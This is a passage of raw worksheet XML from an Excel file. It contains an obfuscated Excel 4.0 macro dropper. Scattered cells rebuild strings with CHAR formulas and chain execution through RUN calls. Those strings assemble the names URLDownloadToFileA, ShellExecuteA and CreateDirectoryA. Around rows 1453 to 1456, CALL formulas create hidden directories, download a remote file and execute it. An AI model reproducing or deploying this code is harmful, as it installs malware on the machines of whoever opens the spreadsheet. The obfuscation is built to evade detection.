r="744" spans="11:231" x14ac:dyDescent="0.25"><c r="BP744" t="b"><f>RUN($AW$418)</f><v>0</v></c></row><row r="745" spans="11:231" x14ac:dyDescent="0.25"><c r="K745"><v>159</v></c></row><row r="746" spans="11:231" x14ac:dyDescent="0.25"><c r="BS746"><v>87</v></c><c r="HW746"><v>445</v></c></row><row r="747" spans="11:231" x14ac:dyDescent="0.25"><c r="AF747" t="b"><f>RUN($DH$444)</f><v>0</v></c><c r="AN747" t="str"><f>CONCATENATE($CU$395)</f><v>URLDownloadToFileA</v></c></row><row r="748" spans="11:231" x14ac:dyDescent="0.25"><c r="FZ748"><v>24</v></c></row><row r="749" spans="11:231" x14ac:dyDescent="0.25"><c r="CL749"><v>156</v></c></row><row r="753" spans="7:207" x14ac:dyDescent="0.25"><c r="FN753" t="str"><f>CHAR($FK$122-334)</f><v>L</v></c></row><row r="754" spans="7:207" x14ac:dyDescent="0.25"><c r="GS754"><v>157</v></c></row><row r="756" spans="7:207" x14ac:dyDescent="0.25"><c r="G756"><v>64</v></c></row><row r="761" spans="7:207" x14ac:dyDescent="0.25"><c r="GY761"><v>64</v></c></row><row r="767" spans="7:207" x14ac:dyDescent="0.25"><c r="EU767"><v>60</v></c></row><row r="772" spans="32:230" x14ac:dyDescent="0.25"><c r="AW772"><v>131</v></c></row><row r="774" spans="32:230" x14ac:dyDescent="0.25"><c r="AF774"><v>413</v></c><c r="HS774"><v>6</v></c></row><row r="775" spans="32:230" x14ac:dyDescent="0.25"><c r="GQ775" t="str"><f>CHAR($CB$1593-28)</f><v>X</v></c></row><row r="780" spans="32:230" x14ac:dyDescent="0.25"><c r="HV780"><v>125</v></c></row><row r="784" spans="32:230" x14ac:dyDescent="0.25"><c r="CY784" t="str"><f>CHAR($FA$856-58)</f><v>-</v></c></row><row r="787" spans="105:159" x14ac:dyDescent="0.25"><c r="FC787"><v>48</v></c></row><row r="793" spans="105:159" x14ac:dyDescent="0.25"><c r="EJ793"><v>58</v></c></row><row r="799" spans="105:159" x14ac:dyDescent="0.25"><c r="DA799" t="str"><f>CHAR($IE$1936-826)</f><v>h</v></c></row><row r="808" spans="27:236" x14ac:dyDescent="0.25"><c r="EU808"><v>69</v></c></row><row r="812" spans="27:236" x14ac:dyDescent="0.25"><c r="AR812" t="str"><f>CHAR($EV$1263-334)</f><v>e</v></c></row><row r="814" spans="27:236" x14ac:dyDescent="0.25"><c r="AA814"><v>76</v></c></row><row r="816" spans="27:236" x14ac:dyDescent="0.25"><c r="IB816"><v>444</v></c></row><row r="820" spans="159:233" x14ac:dyDescent="0.25"><c r="FZ820"><v>445</v></c><c r="HM820" t="str"><f>CHAR($L$610-58)</f><v>e</v></c><c r="HY820"><v>37</v></c></row><row r="830" spans="159:233" x14ac:dyDescent="0.25"><c r="FC830"><v>909</v></c></row><row r="833" spans="2:205" x14ac:dyDescent="0.25"><c r="FF833"><v>59</v></c></row><row r="834" spans="2:205" x14ac:dyDescent="0.25"><c r="EG834"><v>4</v></c><c r="GW834"><v>37</v></c></row><row r="836" spans="2:205" x14ac:dyDescent="0.25"><c r="BD836"><v>67</v></c><c r="BE836"><v>442</v></c></row><row r="841" spans="2:205" x14ac:dyDescent="0.25"><c r="FB841"><v>70</v></c></row><row r="845" spans="2:205" x14ac:dyDescent="0.25"><c r="B845"><v>433</v></c><c r="BV845" t="b"><f>RUN($AD$427)</f><v>0</v></c></row><row r="846" spans="2:205" x14ac:dyDescent="0.25"><c r="W846"><v>68</v></c></row><row r="847" spans="2:205" x14ac:dyDescent="0.25"><c r="FF847"><v>404</v></c></row><row r="850" spans="4:230" x14ac:dyDescent="0.25"><c r="CZ850" t="b"><f>RUN($GW$1881)</f><v>0</v></c><c r="EQ850" t="str"><f>CHAR($CN$1245-334)</f><v>l</v></c></row><row r="852" spans="4:230" x14ac:dyDescent="0.25"><c r="Y852" t="str"><f>CHAR($IE$165-28)</f><v>q</v></c></row><row r="854" spans="4:230" x14ac:dyDescent="0.25"><c r="GZ854"><v>95</v></c></row><row r="856" spans="4:230" x14ac:dyDescent="0.25"><c r="FA856"><v>103</v></c><c r="FN856"><v>10</v></c><c r="HV856" t="str"><f>CHAR($X$146-58)</f><v>.</v></c></row><row r="858" spans="4:230" x14ac:dyDescent="0.25"><c r="D858"><v>940</v></c></row><row r="862" spans="4:230" x14ac:dyDescent="0.25"><c r="AV862"><v>18</v></c></row><row r="864" spans="4:230" x14ac:dyDescent="0.25"><c r="HE864"><v>169</v></c></row><row r="865" spans="45:82" x14ac:dyDescent="0.25"><c r="CD865"><v>172</v></c></row><row r="866" spans="45:82" x14ac:dyDescent="0.25"><c r="AS866" t="b"><f>RUN($E$422)</f><v>0</v></c></row><row r="882" spans="100:249" x14ac:dyDescent="0.25"><c r="ET882"><v>22</v></c></row><row r="885" spans="100:249" x14ac:dyDescent="0.25"><c r="EP885"><v>51</v></c><c r="GK885"><v>79</v></c></row><row r="886" spans="100:249" x14ac:dyDescent="0.25"><c r="CV886" t="str"><f>CHAR($DT$986-334)</f><v>w</v></c><c r="HD886" t="b"><f>RUN($I$1435)</f><v>0</v></c></row><row r="891" spans="100:249" x14ac:dyDescent="0.25"><c r="IO891"><v>902</v></c></row><row r="893" spans="100:249" x14ac:dyDescent="0.25"><c r="DJ893"><v>15</v></c></row><row r="895" spans="100:249" x14ac:dyDescent="0.25"><c r="FS895"><v>98</v></c></row><row r="906" spans="116:116" x14ac:dyDescent="0.25"><c r="DL906"><v>61</v></c></row><row r="914" spans="42:42" x14ac:dyDescent="0.25"><c r="AP914"><v>401</v></c></row><row r="929" spans="30:239" x14ac:dyDescent="0.25"><c r="IE929"><v>18</v></c></row><row r="930" spans="30:239" x14ac:dyDescent="0.25"><c r="AD930" t="str"><f>CHAR($EP$179-334)</f><v>p</v></c></row><row r="932" spans="30:239" x14ac:dyDescent="0.25"><c r="EM932"><v>69</v></c></row><row r="937" spans="30:239" x14ac:dyDescent="0.25"><c r="HX937"><v>18</v></c></row><row r="946" spans="156:210" x14ac:dyDescent="0.25"><c r="EZ946" t="str"><f>CHAR($IL$1342-334)</f><v>i</v></c></row><row r="955" spans="156:210" x14ac:dyDescent="0.25"><c r="FB955" t="b"><f>RUN($AI$576)</f><v>0</v></c></row><row r="956" spans="156:210" x14ac:dyDescent="0.25"><c r="FI956" t="str"><f>CHAR($FC$830-826)</f><v>S</v></c></row><row r="957" spans="156:210" x14ac:dyDescent="0.25"><c r="HB957"><v>56</v></c></row><row r="967" spans="54:227" x14ac:dyDescent="0.25"><c r="BB967" t="str"><f>CHAR($CX$1129-58)</f><v>d</v></c></row><row r="972" spans="54:227" x14ac:dyDescent="0.25"><c r="HS972" t="str"><f>CHAR($HE$692-58)</f><v>5</v></c></row><row r="974" spans="54:227" x14ac:dyDescent="0.25"><c r="FH974"><v>95</v></c></row><row r="977" spans="11:240" x14ac:dyDescent="0.25"><c r="GO977" t="str"><f>CHAR($EO$1972-28)</f><v>T</v></c><c r="IF977"><v>63</v></c></row><row r="978" spans="11:240" x14ac:dyDescent="0.25"><c r="FQ978"><v>14</v></c></row><row r="979" spans="11:240" x14ac:dyDescent="0.25"><c r="K979" t="b"><f>RUN($GW$1943)</f><v>0</v></c></row><row r="985" spans="11:240" x14ac:dyDescent="0.25"><c r="EO985" t="str"><f>CONCATENATE($CW$174)</f><v>Open</v></c></row><row r="986" spans="11:240" x14ac:dyDescent="0.25"><c r="DT986"><v>453</v></c></row><row r="990" spans="11:240" x14ac:dyDescent="0.25"><c r="Z990"><v>84</v></c></row><row r="992" spans="11:240" x14ac:dyDescent="0.25"><c r="CO992"><v>12</v></c></row><row r="995" spans="64:214" x14ac:dyDescent="0.25"><c r="GM995"><v>67</v></c></row><row r="999" spans="64:214" x14ac:dyDescent="0.25"><c r="HF999" t="b"><f>RUN($AL$1564)</f><v>0</v></c></row><row r="1005" spans="64:214" x14ac:dyDescent="0.25"><c r="EV1005"><v>87</v></c></row><row r="1008" spans="64:214" x14ac:dyDescent="0.25"><c r="BL1008"><v>75</v></c></row><row r="1013" spans="50:203" x14ac:dyDescent="0.25"><c r="AX1013" t="b"><f>RUN($EC$475)</f><v>0</v></c></row><row r="1018" spans="50:203" x14ac:dyDescent="0.25"><c r="DV1018" t="b"><f>RUN($CV$1653)</f><v>0</v></c></row><row r="1019" spans="50:203" x14ac:dyDescent="0.25"><c r="FP1019"><v>34</v></c><c r="GU1019" t="b"><f>RUN($HO$1655)</f><v>0</v></c></row><row r="1022" spans="50:203" x14ac:dyDescent="0.25"><c r="GJ1022" t="str"><f>CHAR($BJ$697-28)</f><v>:</v></c></row><row r="1023" spans="50:203" x14ac:dyDescent="0.25"><c r="CQ1023"><v>174</v></c><c r="DY1023" t="str"><f>CHAR($Y$1934-826)</f><v>2</v></c></row><row r="1031" spans="60:223" x14ac:dyDescent="0.25"><c r="CP1031"><v>16</v></c></row><row r="1032" spans="60:223" x14ac:dyDescent="0.25"><c r="HO1032" t="str"><f>CHAR($FW$264-58)</f><v>:</v></c></row><row r="1036" spans="60:223" x14ac:dyDescent="0.25"><c r="FF1036"><v>23</v></c></row><row r="1037" spans="60:223" x14ac:dyDescent="0.25"><c r="BH1037" t="str"><f>CHAR($HU$150-28)</f><v>\</v></c></row><row r="1038" spans="60:223" x14ac:dyDescent="0.25"><c r="HA1038" t="b"><f>RUN($K$979)</f><v>0</v></c></row><row r="1039" spans="60:223" x14ac:dyDescent="0.25"><c r="CT1039" t="b"><f>RUN($DK$609)</f><v>0</v></c></row><row r="1044" spans="110:231" x14ac:dyDescent="0.25"><c r="HW1044" t="str"><f>CHAR($BB$1476-334)</f><v>e</v></c></row><row r="1048" spans="110:231" x14ac:dyDescent="0.25"><c r="GL1048" t="b"><f>RUN($GL$1719)</f><v>0</v></c></row><row r="1052" spans="110:231" x14ac:dyDescent="0.25"><c r="HS1052" t="b"><f>RUN($CM$1091)</f><v>0</v></c></row><row r="1056" spans="110:231" x14ac:dyDescent="0.25"><c r="DF1056"><v>141</v></c></row><row r="1057" spans="19:193" x14ac:dyDescent="0.25"><c r="S1057"><v>85</v></c></row><row r="1060" spans="19:193" x14ac:dyDescent="0.25"><c r="AG1060"><v>5</v></c></row><row r="1061" spans="19:193" x14ac:dyDescent="0.25"><c r="FZ1061"><v>94</v></c></row><row r="1068" spans="19:193" x14ac:dyDescent="0.25"><c r="AL1068"><v>120</v></c></row><row r="1069" spans="19:193" x14ac:dyDescent="0.25"><c r="BH1069" t="str"><f>CHAR($GC$50-58)</f><v>.</v></c><c r="FW1069" t="str"><f>CHAR($K$1499-334)</f><v>o</v></c><c r="GK1069" t="str"><f>CHAR($HQ$1864-28)</f><v>W</v></c></row><row r="1074" spans="86:166" x14ac:dyDescent="0.25"><c r="CH1074" t="str"><f>CHAR($DK$607-334)</f><v>x</v></c></row><row r="1083" spans="86:166" x14ac:dyDescent="0.25"><c r="FJ1083" t="b"><f>RUN($CG$405)</f><v>0</v></c></row><row r="1090" spans="23:243" x14ac:dyDescent="0.25"><c r="AF1090"><v>176</v></c></row><row r="1091" spans="23:243" x14ac:dyDescent="0.25"><c r="CM1091" t="b"><f>RUN($HQ$1394)</f><v>0</v></c></row><row r="1096" spans="23:243" x14ac:dyDescent="0.25"><c r="AD1096" t="str"><f>CHAR($CI$108-334)</f><v>A</v></c><c r="GO1096"><v>172</v></c></row><row r="1099" spans="23:243" x14ac:dyDescent="0.25"><c r="GP1099"><v>9</v></c></row><row r="1100" spans="23:243" x14ac:dyDescent="0.25"><c r="EB1100"><v>63</v></c></row><row r="1101" spans="23:243" x14ac:dyDescent="0.25"><c r="W1101" t="str"><f>CHAR($HD$708-334)</f><v>u</v></c><c r="AG1101" t="b"><f>RUN($IA$21)</f><v>0</v></c><c r="II1101" t="b"><f>RUN($FB$955)</f><v>0</v></c></row><row r="1103" spans="23:243" x14ac:dyDescent="0.25"><c r="BU1103"><v>93</v></c></row><row r="1105" spans="61:210" x14ac:dyDescent="0.25"><c r="FL1105"><v>86</v></c></row><row r="1110" spans="61:210" x14ac:dyDescent="0.25"><c r="HB1110" t="b"><f>RUN($FJ$1083)</f><v>0</v></c></row><row r="1117" spans="61:210" x14ac:dyDescent="0.25"><c r="BI1117" t="str"><f>CHAR($ES$1779-28)</f><v>G</v></c></row><row r="1124" spans="69:189" x14ac:dyDescent="0.25"><c r="GG1124" t="str"><f>CHAR($CI$485-334)</f><v>T</v></c></row><row r="1129" spans="69:189" x14ac:dyDescent="0.25"><c r="CX1129"><v>158</v></c></row><row r="1130" spans="69:189" x14ac:dyDescent="0.25"><c r="FX1130" t="str"><f>CHAR($FF$847-334)</f><v>F</v></c></row><row r="1131" spans="69:189" x14ac:dyDescent="0.25"><c r="CQ1131" t="str"><f>CHAR($M$1547-58)</f><v>a</v></c></row><row r="1136" spans="69:189" x14ac:dyDescent="0.25"><c r="BQ1136"><v>21</v></c></row><row r="1137" spans="4:143" x14ac:dyDescent="0.25"><c r="Q1137"><v>38</v></c></row><row r="1141" spans="4:143" x14ac:dyDescent="0.25"><c r="BA1141"><v>28</v></c></row><row r="1142" spans="4:143" x14ac:dyDescent="0.25"><c r="D1142" t="str"><f>CHAR($L$1776-28)</f><v>N</v></c></row><row r="1143" spans="4:143" x14ac:dyDescent="0.25"><c r="EM1143" t="str"><f>CHAR($HQ$178-826)</f><v>O</v></c></row><row r="1162" spans="41:145" x14ac:dyDescent="0.25"><c r="BA1162"><v>5</v></c></row><row r="1163" spans="41:145" x14ac:dyDescent="0.25"><c r="EO1163" t="str"><f>CHAR($CY$344-334)</f><v>r</v></c></row><row r="1165" spans="41:145" x14ac:dyDescent="0.25"><c r="AO1165"><v>64</v></c></row><row r="1170" spans="17:213" x14ac:dyDescent="0.25"><c r="HE1170" t="str"><f>CHAR($BY$1605-334)</f><v>e</v></c></row><row r="1172" spans="17:213" x14ac:dyDescent="0.25"><c r="DS1172" t="str"><f>CHAR($FT$1730-58)</f><v>/</v></c></row><row r="1179" spans="17:213" x14ac:dyDescent="0.25"><c r="Q1179"><v>5</v></c></row><row r="1180" spans="17:213" x14ac:dyDescent="0.25"><c r="BR1180"><v>48</v></c><c r="DD1180" t="str"><f>CHAR($FE$1827-28)</f><v>x</v></c></row><row r="1193" spans="46:217" x14ac:dyDescent="0.25"><c r="AT1193" t="b"><f>RUN($CG$1360)</f><v>0</v></c><c r="CC1193"><v>67</v></c></row><row r="1196" spans="46:217" x14ac:dyDescent="0.25"><c r="HI1196" t="b"><f>RUN($DV$1018)</f><v>0</v></c></row><row r="1207" spans="4:238" x14ac:dyDescent="0.25"><c r="D1207"><v>876</v></c></row><row r="1213" spans="4:238" x14ac:dyDescent="0.25"><c r="ID1213" t="b"><f>RUN($J$619)</f><v>0</v></c></row><row r="1217" spans="29:239" x14ac:dyDescent="0.25"><c r="FT1217"><v>45</v></c></row><row r="1219" spans="29:239" x14ac:dyDescent="0.25"><c r="HD1219" t="str"><f>CHAR($AF$1686-58)</f><v>l</v></c><c r="IE1219" t="b"><f>RUN($FS$1954)</f><v>0</v></c></row><row r="1220" spans="29:239" x14ac:dyDescent="0.25"><c r="DF1220"><v>46</v></c></row><row r="1224" spans="29:239" x14ac:dyDescent="0.25"><c r="AC1224"><v>30</v></c></row><row r="1225" spans="29:239" x14ac:dyDescent="0.25"><c r="EB1225"><v>45</v></c></row><row r="1228" spans="29:239" x14ac:dyDescent="0.25"><c r="CE1228" t="str"><f>CHAR($CY$1641-58)</f><v>r</v></c></row><row r="1231" spans="29:239" x14ac:dyDescent="0.25"><c r="BO1231" t="str"><f>CHAR($FZ$820-334)</f><v>o</v></c></row><row r="1245" spans="16:93" x14ac:dyDescent="0.25"><c r="CN1245"><v>442</v></c></row><row r="1246" spans="16:93" x14ac:dyDescent="0.25"><c r="CO1246"><v>85</v></c></row><row r="1247" spans="16:93" x14ac:dyDescent="0.25"><c r="BF1247"><v>54</v></c></row><row r="1248" spans="16:93" x14ac:dyDescent="0.25"><c r="P1248"><v>13</v></c></row><row r="1253" spans="2:152" x14ac:dyDescent="0.25"><c r="AC1253" t="str"><f>CHAR($IL$503-58)</f><v>e</v></c><c r="EB1253"><v>9</v></c></row><row r="1256" spans="2:152" x14ac:dyDescent="0.25"><c r="DO1256"><v>908</v></c><c r="ER1256" t="str"><f>CONCATENATE($CK$1608)</f><v>ShellExecuteA</v></c></row><row r="1259" spans="2:152" x14ac:dyDescent="0.25"><c r="B1259" t="str"><f>CHAR($AL$1068-28)</f><v>\</v></c><c r="DZ1259"><v>29</v></c></row><row r="1261" spans="2:152" x14ac:dyDescent="0.25"><c r="BK1261" t="str"><f>CHAR($CR$461-334)</f><v>U</v></c></row><row r="1263" spans="2:152" x14ac:dyDescent="0.25"><c r="EV1263"><v>435</v></c></row><row r="1265" spans="163:171" x14ac:dyDescent="0.25"><c r="FG1265" t="str"><f>CHAR($DI$129-826)</f><v>K</v></c></row><row r="1279" spans="163:171" x14ac:dyDescent="0.25"><c r="FO1279" t="b"><f>RUN($HN$722)</f><v>0</v></c></row><row r="1282" spans="32:221" x14ac:dyDescent="0.25"><c r="GK1282" t="str"><f>CHAR($AA$1862-58)</f><v>l</v></c></row><row r="1285" spans="32:221" x14ac:dyDescent="0.25"><c r="DP1285"><v>903</v></c></row><row r="1286" spans="32:221" x14ac:dyDescent="0.25"><c r="CT1286"><v>59</v></c></row><row r="1289" spans="32:221" x14ac:dyDescent="0.25"><c r="DM1289" t="str"><f>CHAR($CF$1731-58)</f><v>/</v></c></row><row r="1290" spans="32:221" x14ac:dyDescent="0.25"><c r="AQ1290"><v>11</v></c><c r="HM1290" t="str"><f>CHAR($FB$1882-58)</f><v>h</v></c></row><row r="1295" spans="32:221" x14ac:dyDescent="0.25"><c r="DC1295"><v>83</v></c><c r="GG1295" t="b"><f>RUN($BW$505)</f><v>0</v></c></row><row r="1296" spans="32:221" x14ac:dyDescent="0.25"><c r="AF1296" t="b"><f>RUN($AE$1732)</f><v>0</v></c></row><row r="1302" spans="104:109" x14ac:dyDescent="0.25"><c r="DE1302"><v>30</v></c></row><row r="1304" spans="104:109" x14ac:dyDescent="0.25"><c r="CZ1304"><v>43</v></c></row><row r="1305" spans="104:109" x14ac:dyDescent="0.25"><c r="CZ1305"><v>103</v></c></row><row r="1314" spans="2:210" x14ac:dyDescent="0.25"><c r="B1314" t="str"><f>CHAR($AL$1382-28)</f><v>b</v></c></row><row r="1321" spans="2:210" x14ac:dyDescent="0.25"><c r="BO1321"><v>20</v></c></row><row r="1327" spans="2:210" x14ac:dyDescent="0.25"><c r="HB1327"><v>95</v></c></row><row r="1331" spans="99:246" x14ac:dyDescent="0.25"><c r="FA1331"><v>25</v></c></row><row r="1335" spans="99:246" x14ac:dyDescent="0.25"><c r="EZ1335"><v>911</v></c></row><row r="1338" spans="99:246" x14ac:dyDescent="0.25"><c r="CU1338"><v>37</v></c></row><row r="1342" spans="99:246" x14ac:dyDescent="0.25"><c r="IL1342"><v>439</v></c></row><row r="1348" spans="85:141" x14ac:dyDescent="0.25"><c r="EK1348" t="str"><f>CHAR($HE$864-58)</f><v>o</v></c></row><row r="1355" spans="85:141" x14ac:dyDescent="0.25"><c r="DB1355"><v>99</v></c></row><row r="1360" spans="85:141" x14ac:dyDescent="0.25"><c r="CG1360" t="b"><f>RUN($GU$1019)</f><v>0</v></c></row><row r="1361" spans="14:229" x14ac:dyDescent="0.25"><c r="CH1361" t="str"><f>CHAR($HV$780-28)</f><v>a</v></c></row><row r="1362" spans="14:229" x14ac:dyDescent="0.25"><c r="N1362"><v>159</v></c></row><row r="1363" spans="14:229" x14ac:dyDescent="0.25"><c r="EP1363" t="b"><f>RUN($CC$1482)</f><v>0</v></c></row><row r="1364" spans="14:229" x14ac:dyDescent="0.25"><c r="EI1364" t="str"><f>CHAR($AK$452-58)</f><v>p</v></c><c r="HD1364"><v>3</v></c></row><row r="1372" spans="14:229" x14ac:dyDescent="0.25"><c r="HU1372" t="b"><f>RUN($DB$164)</f><v>0</v></c></row><row r="1377" spans="3:158" x14ac:dyDescent="0.25"><c r="CR1377"><v>116</v></c></row><row r="1378" spans="3:158" x14ac:dyDescent="0.25"><c r="C1378"><v>95</v></c></row><row r="1382" spans="3:158" x14ac:dyDescent="0.25"><c r="AL1382"><v>126</v></c></row><row r="1390" spans="3:158" x14ac:dyDescent="0.25"><c r="FB1390" t="b"><f>RUN($S$1661)</f><v>0</v></c></row><row r="1394" spans="57:225" x14ac:dyDescent="0.25"><c r="HQ1394" t="b"><f>RUN($HD$886)</f><v>0</v></c></row><row r="1400" spans="57:225" x14ac:dyDescent="0.25"><c r="BE1400"><v>51</v></c></row><row r="1404" spans="57:225" x14ac:dyDescent="0.25"><c r="BK1404" t="b"><f>RUN($GT$572)</f><v>0</v></c></row><row r="1411" spans="95:142" x14ac:dyDescent="0.25"><c r="EC1411" t="str"><f>CHAR($N$577-58)</f><v>d</v></c></row><row r="1412" spans="95:142" x14ac:dyDescent="0.25"><c r="CQ1412" t="str"><f>CHAR($GO$1096-58)</f><v>r</v></c></row><row r="1422" spans="95:142" x14ac:dyDescent="0.25"><c r="EL1422" t="str"><f>CHAR($AP$914-334)</f><v>C</v></c></row><row r="1427" spans="9:249" x14ac:dyDescent="0.25"><c r="CU1427"><v>904</v></c><c r="IO1427"><v>13</v></c></row><row r="1428" spans="9:249" x14ac:dyDescent="0.25"><c r="CI1428"><v>62</v></c><c r="CM1428" t="str"><f>CHAR($AF$1090-58)</f><v>v</v></c></row><row r="1435" spans="9:249" x14ac:dyDescent="0.25"><c r="I1435" t="b"><f>RUN($AT$1193)</f><v>0</v></c></row><row r="1440" spans="9:249" x14ac:dyDescent="0.25"><c r="CV1440"><v>7</v></c></row><row r="1443" spans="18:245" x14ac:dyDescent="0.25"><c r="CJ1443" t="str"><f>CHAR($HD$1554-334)</f><v>E</v></c></row><row r="1453" spans="18:245" x14ac:dyDescent="0.25"><c r="R1453"><v>29</v></c><c r="BP1453" t="b"><f>RUN($II$1101)</f><v>0</v></c><c r="FI1453" t="b"><f>CALL($FE$1988,$HD$1619,"JCJ","C:\WbNGNqE",0)</f><v>0</v></c></row><row r="1454" spans="18:245" x14ac:dyDescent="0.25"><c r="FI1454" t="b"><f>CALL($FE$1988,$HD$1619,"JCJ","C:\WbNGNqE\DTXaRqG",0)</f><v>0</v></c><c r="GB1454" t="str"><f>CHAR($IC$23-28)</f><v>t</v></c></row><row r="1455" spans="18:245" x14ac:dyDescent="0.25"><c r="FI1455" t="b"><f>CALL($DY$1750,$AN$747, "JJCCJJ",0,$BB$54,$FN$382,0,0)</f><v>0</v></c></row><row r="1456" spans="18:245" x14ac:dyDescent="0.25"><c r="FI1456" t="b"><f>CALL($AF$244,$ER$1256, "JJCCCCJ",0,$EO$985,$FN$382,,0,0)</f><v>0</v></c><c r="IK1456" t="b"><f>RUN($GY$617)</f><v>0</v></c></row><row r="1461" spans="4:165" x14ac:dyDescent="0.25"><c r="FI1461" t="b"><f>HALT()</f><v>0</v></c></row><row r="1462" spans="4:165" x14ac:dyDescent="0.25"><c r="D1462"><v>83</v></c><c r="AG1462"><v>170</v></c></row><row r="1464" spans="4:165" x14ac:dyDescent="0.25"><c r="ET1464"><v>435</v></c></row><row r="1466" spans="4:165" x14ac:dyDescent="0.25"><c r="AV1466" t="b"><f>RUN($GU$1592)</f><v>0</v></c></row><row r="1469" spans="4:165" x14ac:dyDescent="0.25"><c r="DK1469"><v>84</v></c></row><row r="1472" spans="4:165" x14ac:dyDescent="0.25"><c r="AX1472" t="str"><f>CHAR($GP$416-28)</f><v>E</v></c></row><row r="1475" spans="33:232" x14ac:dyDescent="0.25"><c r="AG1475" t="str"><f>CHAR($GO$239-58)</f><v>a</v></c></row><row r="1476" spans="33:232" x14ac:dyDescent="0.25"><c r="BB1476"><v>435</v></c></row><row r="1482" spans="33:232" x14ac:dyDescent="0.25"><c r="CC1482" t="b"><f>RUN($FN$419)</f><v>0</v></c><c r="DH1482"><v>65</v></c></row><row r="1483" spans="33:232" x14ac:dyDescent="0.25"><c r="FZ1483" t="str"><f>CHAR($DT$518-28)</f><v>e</v></c></row><row r="1484" spans="33:232" x14ac:dyDescent="0.25"><c r="HX1484" t="str"><f>CHAR($E$718-58)</f><v>o</v></c></row><row r="1487" spans="33:232" x14ac:dyDescent="0.25"><c r="CP1487"><v>117</v></c></row><row r="1498" spans="11:158" x14ac:dyDescent="0.25"><c r="FB1498" t="str"><f>CHAR($AM$188-826)</f><v>3</v></c></row><row r="1499" spans="11:158" x14ac:dyDescent="0.25"><c r="K1499"><v>445</v></c></row><row r="1507" spans="55:234" x14ac:dyDescent="0.25"><c r="CD1507"><v>159</v></c><c r="CV1507"><v>39</v></c></row><row r="1508" spans="55:234" x14ac:dyDescent="0.25"><c r="HO1508" t="str"><f>CHAR($GC$1796-58)</f><v>.</v></c></row><row r="1509" spans="55:234" x14ac:dyDescent="0.25"><c r="HG1509"><v>46</v></c><c r="HZ1509"><v>51</v></c></row><row r="1515" spans="55:234" x14ac:dyDescent="0.25"><c r="BC1515"><v>74</v></c><c r="BZ1515" t="str"><f>CHAR($HH$1789-58)</f><v>o</v></c><c r="DJ1515"><v>78</v></c></row><row r="1518" spans="55:234" x14ac:dyDescent="0.25"><c r="HV1518" t="str"><f>CHAR($GC$340-28)</f><v>.</v></c></row><row r="1522" spans="84:186" x14ac:dyDescent="0.25"><c r="GD1522"><v>43</v></c></row><row r="1526" spans="84:186" x14ac:dyDescent="0.25"><c r="FA1526"><v>99</v></c></row><row r="1527" spans="84:186" x14ac:dyDescent="0.25"><c r="GD1527" t="str"><f>CHAR($CP$658-334)</f><v>a</v></c></row><row r="1534" spans="84:186" x14ac:dyDescent="0.25"><c r="CF1534"><v>157</v></c></row><row r="1540" spans="13:183" x14ac:dyDescent="0.25"><c r="CZ1540"><v>3</v></c></row><row r="1543" spans="13:183" x14ac:dyDescent="0.25"><c r="CC1543" t="str"><f>CHAR($FH$247-58)</f><v>o</v></c></row><row r="1546" spans="13:183" x14ac:dyDescent="0.25"><c r="GA1546"><v>33</v></c></row><row r="1547" spans="13:183" x14ac:dyDescent="0.25"><c r="M1547"><v>155</v></c></row><row r="1554" spans="38:212" x14ac:dyDescent="0.25"><c r="HD1554"><v>403</v></c></row><row r="1560" spans="38:212" x14ac:dyDescent="0.25"><c r="GI1560" t="str"><f>CHAR($EM$289-334)</f><v>e</v></c></row><row r="1564" spans="38:212" x14ac:dyDescent="0.25"><c r="AL1564" t="b"><f>RUN($GE$1994)</f><v>0</v></c></row><row r="1570" spans="16:214" x14ac:dyDescent="0.25"><c r="FM1570" t="str"><f>CHAR($GS$754-58)</f><v>c</v></c><c r="HF1570"><v>22</v></c></row><row r="1575" spans="16:214" x14ac:dyDescent="0.25"><c r="GO1575"><v>40</v></c></row><row r="1577" spans="16:214" x14ac:dyDescent="0.25"><c r="DM1577"><v>35</v></c></row><row r="1583" spans="16:214" x14ac:dyDescent="0.25"><c r="P1583" t="str"><f>CHAR($BP$1583-58)</f><v>u</v></c><c r="Y1583" t="b"><f>RUN($HT$1829)</f><v>0</v></c><c r="BP1583"><v>175</v></c></row><row r="1585" spans="80:203" x14ac:dyDescent="0.25"><c r="CC1585"><v>934</v></c></row><row r="1587" spans="80:203" x14ac:dyDescent="0.25"><c r="EX1587"><v>90</v></c></row><row r="1589" spans="80:203" x14ac:dyDescent="0.25"><c r="ED1589" t="str"><f>CHAR($BW$696-334)</f><v>R</v></c></row><row r="1592" spans="80:203" x14ac:dyDescent="0.25"><c r="GU1592" t="b"><f>RUN($BW$87)</f><v>0</v></c></row><row r="1593" spans="80:203" x14ac:dyDescent="0.25"><c r="CB1593"><v>116</v></c></row><row r="1605" spans="15:147" x14ac:dyDescent="0.25"><c r="BY1605"><v>435</v></c><c r="EQ1605" t="str"><f>CHAR($GX$498-58)</f><v>u</v></c></row><row r="1608" spans="15:147" x14ac:dyDescent="0.25"><c r="R1608" t="str"><f>CHAR($FD$612-58)</f><v>s</v></c><c r="CK1608" t="str"><f>CONCATENATE($GT$1874,$U$413,$HW$1044,$HE$263,$GC$1772,$CJ$1443,$CH$1074,$X$354,$GA$214,$W$1101,$HX$1729,$GI$1560,$DP$664)</f><v>ShellExecuteA</v></c></row><row r="1611" spans="15:147" x14ac:dyDescent="0.25"><c r="AM1611" t="str"><f>CHAR($HM$555-28)</f><v>j</v></c></row><row r="1612" spans="15:147" x14ac:dyDescent="0.25"><c r="O1612" t="str"><f>CHAR($O$296-826)</f><v>l</v></c><c r="DL1612" t="str"><f>CHAR($AI$1923-826)</f><v>e</v></c></row><row r="1619" spans="212:237" x14ac:dyDescent="0.25"><c r="HD1619" t="str"><f>CONCATENATE($FM$365)</f><v>CreateDirectoryA</v></c></row><row r="1620" spans="212:237" x14ac:dyDescent="0.25"><c r="IC1620"><v>163</v></c></row><row r="1630" spans="212:237" x14ac:dyDescent="0.25"><c r="HJ1630"><v>78</v></c></row><row r="1632" spans="212:237" x14ac:dyDescent="0.25"><c r="HN1632" t="str"><f>CHAR($FH$97-28)</f><v>R</v></c></row><row r="1635" spans="3:103" x14ac:dyDescent="0.25"><c r="CM1635" t="b"><f>RUN($AV$1466)</f><v>0</v></c></row><row r="1640" spans="3:103" x14ac:dyDescent="0.25"><c r="C1640"><v>41</v></c></row><row r="1641" spans="3:103" x14ac:dyDescent="0.25"><c r="CY1641"><v>172</v></c></row><row r="1645" spans="3:103" x14ac:dyDescent="0.25"><c r="CW1645" t="b"><f>RUN($S$1764)</f><v>0</v></c></row><row r="1651" spans="19:223" x14ac:dyDescent="0.25"><c r="BR1651"><v>48</v></c></row><row r="1653" spans="19:223" x14ac:dyDescent="0.25"><c r="CV1653" 